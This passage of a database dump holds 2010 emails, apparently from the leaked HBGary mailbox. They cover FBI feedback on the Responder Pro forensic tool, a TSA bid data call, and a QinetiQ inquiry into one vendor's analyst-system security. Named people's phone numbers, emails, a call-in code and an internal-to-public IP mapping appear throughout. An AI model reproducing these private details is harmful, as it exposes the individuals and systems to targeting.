wrote:\r\n\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n&nbsp;\r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n&nbsp;\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 3:48 PMTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n&nbsp;\r\n\r\nHi Nick\r\n\r\n&nbsp;\r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n&nbsp;\r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?&nbsp; I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',3653,'aaron_hbgary_com/3653.html'),(9807,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007709.M892785P14101Q4662.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FBI SOC Feedback from Responder Pro Evaluation','Has this been shared with Greg / Rich / Phil, etc?On Thu, Aug 5, 2010 at 5:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 5, 2010 6:20:12 PM EDTTo: Aaron barr &lt;aaron@hbgary.com&gt;\r\nCc: Rich Cummings &lt;rich@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;,  &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nSubject: Re: FBI SOC Feedback from Responder Pro Evaluationwho was the incumbent?\r\nOn Thu, Aug 5, 2010 at 2:43 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMantech just won the recompete.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nplease read below.\r\n \r\nNick Handy is the government guy.  The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\n\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.  Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.  That’s really all I can say.\r\n\r\n\r\n \r\nPersonally, I like the concept for our forensic guys (like myself) and  a few others with the scoring but other free tools like Audit Viewer help us get by right now.  Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n\r\n \r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”  not this is used for.  So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\n\r\nSent: Thursday, August 05, 2010 4:35 PMTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nNick\r\n\r\n \r\n\r\nThank you for the update.  Can you tell me where we fell short on the results?\r\n\r\n \r\n\r\nWas it the DDNA scoring / specific features like REcon / user interface etc.  It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n\r\n \r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\n\r\nSent: Thursday, August 05, 2010 3:48 PMTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Nick\r\n\r\n \r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n \r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?  I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',8103,'aaron_hbgary_com/8103.html'),(9808,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007710.M110399P14101Q4663.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FBI SOC Feedback from Responder Pro Evaluation','Audit viewer is Mandiant&#39;s free tool.On Thu, Aug 5, 2010 at 5:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: August 5, 2010 6:20:12 PM EDTTo: Aaron barr &lt;aaron@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;,  &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nSubject: Re: FBI SOC Feedback from Responder Pro Evaluationwho was the incumbent?\r\nOn Thu, Aug 5, 2010 at 2:43 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMantech just won the recompete.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nplease read below.\r\n \r\nNick Handy is the government guy.  The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt;\r\n\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.  Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.  That’s really all I can say.\r\n\r\n\r\n \r\nPersonally, I like the concept for our forensic guys (like myself) and  a few others with the scoring but other free tools like Audit Viewer help us get by right now.  Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n\r\n \r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”  not this is used for.  So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\n\r\nSent: Thursday, August 05, 2010 4:35 PMTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nNick\r\n\r\n \r\n\r\nThank you for the update.  Can you tell me where we fell short on the results?\r\n\r\n \r\n\r\nWas it the DDNA scoring / specific features like REcon / user interface etc.  It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n\r\n \r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\n\r\nSent: Thursday, August 05, 2010 3:48 PMTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Nick\r\n\r\n \r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n \r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?  I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',168,'aaron_hbgary_com/168.html'),(9809,'2010-08-05','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007711.M465198P14101Q4664.eml','aaron@hbgary.com,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,msteckman@palantir.com,paul.meaney@telos.com,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com','TSA-ITSSS Content Docs and Data Call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nThanks again for all your work to date on the TSA-ITSSS RFP\r\nprep!\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe begin our daily 8:30am fifteen minute con calls\r\ntomorrow, Friday. &nbsp;Please use 605-475-4850 code 1066743#.\r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuestions are due to the government at 5pm tomorrow,\r\nFriday, so we need them by 2pm to compile.&nbsp; Use the attached template.\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKirby Kintner, at kkintner@digitalmanagement.com\r\nand 703-966-7887, is our proposal manager.\r\n\r\n&nbsp;\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBelow are the items needed short-term, with assignments\r\nand due dates.&nbsp; Attached are related docs, including an overall\r\ncalendar.&nbsp; Note that the first 4 items are due Friday 5pm, but they are\r\ntypical corporate items. \r\n\r\n&nbsp;\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPink Team review is next Thursday, Aug 12, from noon to\r\n3pm at DMI in Bethesda at 6701 Democracy Blvd, 20817.&nbsp; Content from\r\neveryone for the review is due Wednesday Aug 11 at noon.\r\n\r\n&nbsp;\r\n\r\n6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAlso attached is the team contact list.&nbsp; Please be\r\nsure to notify us of any additional people who need to be added for your\r\ncompany.\r\n\r\n&nbsp;\r\n\r\nThanks, and please don&#8217;t hesitate to contact me or\r\nKirby if you have any questions/concerns. Talk to you tomorrow morning.\r\n\r\n&nbsp;\r\n\r\n-John Fanguy\r\n\r\n301-346-6749 c\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  PNG or high res BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Legal name of bidding entity;\r\n  State of Incorporation\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities Overview\r\n  \r\n  \r\n  One page description of\r\n  corporate capabilities in IA/Cyber Security\r\n  \r\n  \r\n  Email text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities collateral\r\n  \r\n  \r\n  PPTs or PDF brochures of IA\r\n  capabilities\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  Name, email and best phone for\r\n  content writers at each teaming partner\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Across the 13 key personnel\r\n  labor categories, please provide 4 resumes that can be used in the proposal.\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS\r\n  Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past Performance Short-list\r\n  \r\n  \r\n  Your best &nbsp;IA/Cyber\r\n  Security&nbsp;past performance reference description\r\n  \r\n  \r\n  Attached &quot;TSA-ITSS Past\r\n  Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Surge Staff Capacity\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  Please provide 3 success\r\n  stories, preferably with metrics, illuminating your company\'s strength\r\n  in&nbsp; the IA areas\r\n  \r\n  \r\n  &nbsp;Text or Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  10\r\n  \r\n  \r\n  Benefits Comparison Chart\r\n  \r\n  \r\n  Industry comparison of DMI\r\n  benefits\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/10/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  11\r\n  \r\n  \r\n  Vol 1 - Management - 1.1 -\r\n  Solution Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  1 page\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  12\r\n  \r\n  \r\n  Vol 1 - Management - 1.2 - Team\r\n  Overview\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  13\r\n  \r\n  \r\n  Vol 1 - Management - 1.3 -\r\n  Technical Response\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  14\r\n  \r\n  \r\n  Vol 1 - Management -&nbsp; IA\r\n  Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  15\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.3 - IA\r\n  Technical Services\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  5 pages\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  16\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.4 - IA\r\n  General Requirements\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  2 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  17\r\n  \r\n  \r\n  Vol 1 - Management - 1.3.5 -\r\n  Cyber Critical Infrastructure and Planning Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  NGC\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  18\r\n  \r\n  \r\n  Vol 1 - Management - 2.0 -&nbsp;\r\n  Management and Quality Control\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  7 Pages\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  19\r\n  \r\n  \r\n  Vol 2&nbsp; - Past Performance\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  20\r\n  \r\n  \r\n  Vol 3 - Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  3 pages\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  21\r\n  \r\n  \r\n  Vol 4 - Staffing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  30 pages\r\n  \r\n  \r\n  Telos\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  22\r\n  \r\n  \r\n  Vol 5 -&nbsp; Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  NL\r\n  \r\n  \r\n  DMI\r\n  \r\n  \r\n  8/11/10 2:00 PM\r\n  \r\n \r\n \r\n  \r\n  23\r\n  \r\n  \r\n  Past Performance Questionaires\r\n  \r\n  \r\n  Completed questionaires from\r\n  references.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  TBD\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  24\r\n  \r\n  \r\n  Labor Category Pricing\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Attached &quot;TSA-ITSSS Labor\r\n  Categories - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/16/10 5:00 PM\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16056,'aaron_hbgary_com/16056.html'),(9810,'2010-08-06','\"Anglin, Matthew\" <Matthew.Anglin@QinetiQ-NA.com>','/aaron@hbgary.com/new/1297007711.M759814P14101Q4665.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,aaron@hbgary.com','FW: PWBACK9, QWETEST2  and analyst\'s systems','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich,\r\n\r\nAny of the malware sandboxed or virtual browsers aware or\r\ncapable of bypassing?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Anglin\r\n\r\nInformation Security Principal, Office of the CSO\r\n\r\nQinetiQ North\r\nAmerica\r\n\r\n7918 Jones\r\nBranch Drive Suite 350\r\n\r\nMclean, VA\r\n22102\r\n\r\n703-752-9569\r\noffice, 703-967-2862 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Anglin, Matthew \r\nSent: Thursday, August 05, 2010 8:38 PM\r\nTo: \'phart@Cyveillance.com\'\r\nCc: \'cglenn@Cyveillance.com\'; Roustom, Aboudi;\r\n\'msrivastava@Cyveillance.com\'; Rhodes, Keith; \'pnappi@Cyveillance.com\'\r\nSubject: Re: PWBACK9, QWETEST2 and analyst\'s systems\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul,\r\nThank you. \r\nA few more questions and requests\r\n1. Would you send me the output of the AVG and McAfee alerts since start of the\r\nyear please.\r\n2. Is dns separate for prod and corp?\r\nIf sperate does prod log dns calls?\r\n\r\nThat was very smart of someone to make that CID uses a sandboxed browser and\r\nthat container be destroyed/reverted after use. \r\nWhat is the sandbox program utilized?\r\n\r\n\r\n\r\nThis email was sent by blackberry. Please excuse any errors. \r\n\r\nMatt Anglin \r\nInformation Security Principal \r\nOffice of the CSO \r\nQinetiQ North America \r\n7918 Jones Branch Drive \r\nMcLean, VA 22102 \r\n703-967-2862 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Paul Hart\r\n&lt;phart@Cyveillance.com&gt; \r\nTo: Anglin, Matthew \r\nCc: Chris Glenn &lt;cglenn@Cyveillance.com&gt;; Roustom, Aboudi; Manoj\r\nSrivastava &lt;msrivastava@Cyveillance.com&gt;; Rhodes, Keith; Peter Nappi\r\n&lt;pnappi@Cyveillance.com&gt; \r\nSent: Thu Aug 05 20:27:02 2010\r\nSubject: Re: PWBACK9, QWETEST2 and analyst\'s systems \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt see below\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 4:35 PM, &quot;Anglin, Matthew&quot; &lt;Matthew.Anglin@QinetiQ-NA.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\nI\r\nhave a few questions that I hope you can help me answer.\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Would you be able to tell me\r\nif what it means when you say the systems can get malware when sorting? It\'s\r\nscoring and basically it\'s the same crawl process we\'ve been discussing the\r\npast two weeks &nbsp; &nbsp;&nbsp;\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How would that exposure\r\noccur and what is exposed to malware?when I say exposure i\'m\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; &nbsp; &nbsp;\r\n&nbsp; Saying any windows system susceptible to malware/virus etc! &nbsp;\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Does this occur routinely?\r\nProd/QA no. CID users yes.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Are you referring to the\r\nsystem getting malware, what does that mean? &nbsp;E.g. the malware being on\r\nthe file system in a dominate state, an actively running process, persisting in\r\nmemory, or stored in a folder? Yes I\'m referring to the system, normally it\'s\r\nin the browser (pop-up adds, fake anti-virus alerts)&nbsp;\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What are the routines,\r\nprocedures, and controls that are done or in place for the analyst’s systems to\r\nensure to proper security of the systems? Analyst use a virtual browser which\r\nif becomes infected doesn\'t touch the base OS they revert back. They also have\r\nboth AVG (malware/spyware) and Mcafee (Virus) &nbsp;\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What methods, routines,\r\nprocedures are used to ensure the safeguarding of the linux systems?\r\nAdministrators only have root access others sudo!\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Does QA or Dev report severs\r\nbeing “hosed” regularly? If so what are those systems and what OS? Not at all\r\n(knock on wood) Windows OS!\r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; How often are the production\r\nsystems (windows or otherwise) rebuilt? whenever hardware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; &nbsp; &nbsp;Requirements change. (memory,\r\nspace etc)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When it\r\noccur last for the main crawlers, PWback9, etc? Mid- 2009\r\n\r\n9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pwback9 when not being used\r\nfor the monthly scoring what function does it perform and what does\r\ncommunication occur to internal as well as external IP sources? Also a backup\r\ncrawl same behavior as crawler.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If external\r\nthan what is the Public/natted address? 10.20.1.200 - 38.100.41.112\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nAnglin\r\n\r\nInformation\r\nSecurity Principal, Office of the CSO\r\n\r\nQinetiQ North America\r\n\r\n7918 Jones Branch Drive Suite 350\r\n\r\nMclean, VA 22102\r\n\r\n703-752-9569 office, 703-967-2862 cell\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7139,'aaron_hbgary_com/7139.html'),(9811,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007711.M982183P14101Q4666.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>,,,','Re: FBI SOC Feedback from Responder Pro Evaluation','Aaron\r\n \r\nWhen is it time to re-engage?\r\n \r\nWho did Mantech replace?\r\n \r\n \r\nOn Thu, Aug 5, 2010 at 3:20 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nwho was the incumbent? \r\n\r\n\r\n\r\nOn Thu, Aug 5, 2010 at 2:43 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nMantech just won the recompete.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Aug 5, 2010, at 5:24 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nplease read below.\r\n \r\nNick Handy is the government guy.  The malware folks are contractors -- I recall Aaron said their contract is up for recompete -- \r\n---------- Forwarded message ----------From: Handy, Nicholas E. 